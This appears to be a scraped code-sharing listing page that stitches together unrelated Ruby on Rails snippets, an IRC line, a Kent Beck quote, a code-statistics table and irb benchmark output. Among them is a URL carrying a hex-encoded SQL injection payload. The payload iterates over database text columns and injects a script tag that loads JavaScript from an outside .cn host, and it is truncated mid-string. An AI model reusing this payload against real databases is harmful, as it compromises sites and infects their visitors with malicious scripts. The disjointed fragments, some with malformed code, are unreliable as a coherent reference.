Skip to content

Instantly share code, notes, and snippets.

* %{font-size:12px; font-family:verdana}Audio Video Interleave (.avi)%
* %{font-size:12px; font-family:verdana}Digital Video (.dv)%
* %{font-size:12px; font-family:verdana}QuickTime (.mov, .qt)%
* %{font-size:12px; font-family:verdana}MPEG Video (.mpeg, .mpg, .mp4)%
* %{font-size:12px; font-family:verdana}Advanced Streaming Format (.asf)%
* %{font-size:12px; font-family:verdana}Windows Media Video (.wmv)%
* %{font-size:12px; font-family:verdana}Flash Video (.flv)%
* %{font-size:12px; font-family:verdana}Mobile Video (.3gp)%
class Item
has_many :relations
has_many :related_items, :through => :relations, :source => :item, :foreign_key => 'related_item_id'
end
class Relation
belongs_to :item
belongs_to :related_item, :class => 'Item', :source => :item
end
http://home-schooling.learnhub.com/lesson/page/2351-the-lazy-way-to-a-great-attitude?;DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C415245204054207661726368617228323535292C40432076617263686172283430303029204445434C415245205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432B275D3D2727223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777302E646F7568756E716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D27272B5B272B40432B275D20776865726520272B40432B27206E6F74206C696B
11:21 -!- Jeaiti [i=4210fd22@gateway/web/ajax/mibbit.com/x-6485f9eb1fff1160] has joined #rubyonrails
11:21 < Jeaiti> is this a ruby on rails chanel?
module ActionController
module Benchmarking
module ClassMethods
private
def perform_action_with_benchmark
logger.info("I am a carrot.")
end
end
end
end
config.load_paths += Dir["#{RAILS_ROOT}/vendor/gems/**"].map do |dir|
File.directory?(lib = "#{dir}/lib") ? lib : dir
end
"Back in the days of assembly language programming, the distance between what you intended as a programmer and how the computer forced you to express that intention was enormous. Every few lines you needed a little story to help you understand what the next few instructions really meant.
As programming languages progressed, moving the expression closer to what it really meant, the habit of commenting every few lines relaxed ...
... Someone asked me 'What percentage of your methods have comments?' I answered 'between 0 and 1 percent'..."
-- Kent Beck, Smalltalk Best Practice Patterns
+----------------------+-------+-------+---------+---------+-----+-------+
| Name | Lines | LOC | Classes | Methods | M/C | LOC/M |
+----------------------+-------+-------+---------+---------+-----+-------+
| Libraries | 4412 | 3493 | 40 | 509 | 12 | 4 |
| Models | 11866 | 9114 | 404 | 1273 | 3 | 5 |
| Unit tests | 6049 | 4888 | 185 | 604 | 3 | 6 |
| Helpers | 6764 | 5796 | 0 | 736 | 0 | 5 |
| Controllers | 6299 | 5354 | 126 | 622 | 4 | 6 |
| Functional tests | 5885 | 4935 | 76 | 639 | 8 | 5 |
| Integration tests | 46 | 33 | 4 | 5 | 1 | 4 |
%w{ asian american european african australian }.each do |p|
map.with_options :controller => :people, :people => p do |person|
person.send(p.pluralize) p.pluralize, :action => :index, :conditions => {:method => :get}
person.send(p) p, :action => :show, :conditions => {:method => :get}
... etc
end
end
rb(main):008:0> a = 0
=> 0
irb(main):009:0> b = 1
=> 1
irb(main):010:0> Benchmark.bm {|x| x.report { 100000.times { a.zero? } } }
user system total real
0.030000 0.000000 0.030000 ( 0.020547)
=> true
irb(main):011:0> Benchmark.bm {|x| x.report { 100000.times { b.zero? } } }
user system total real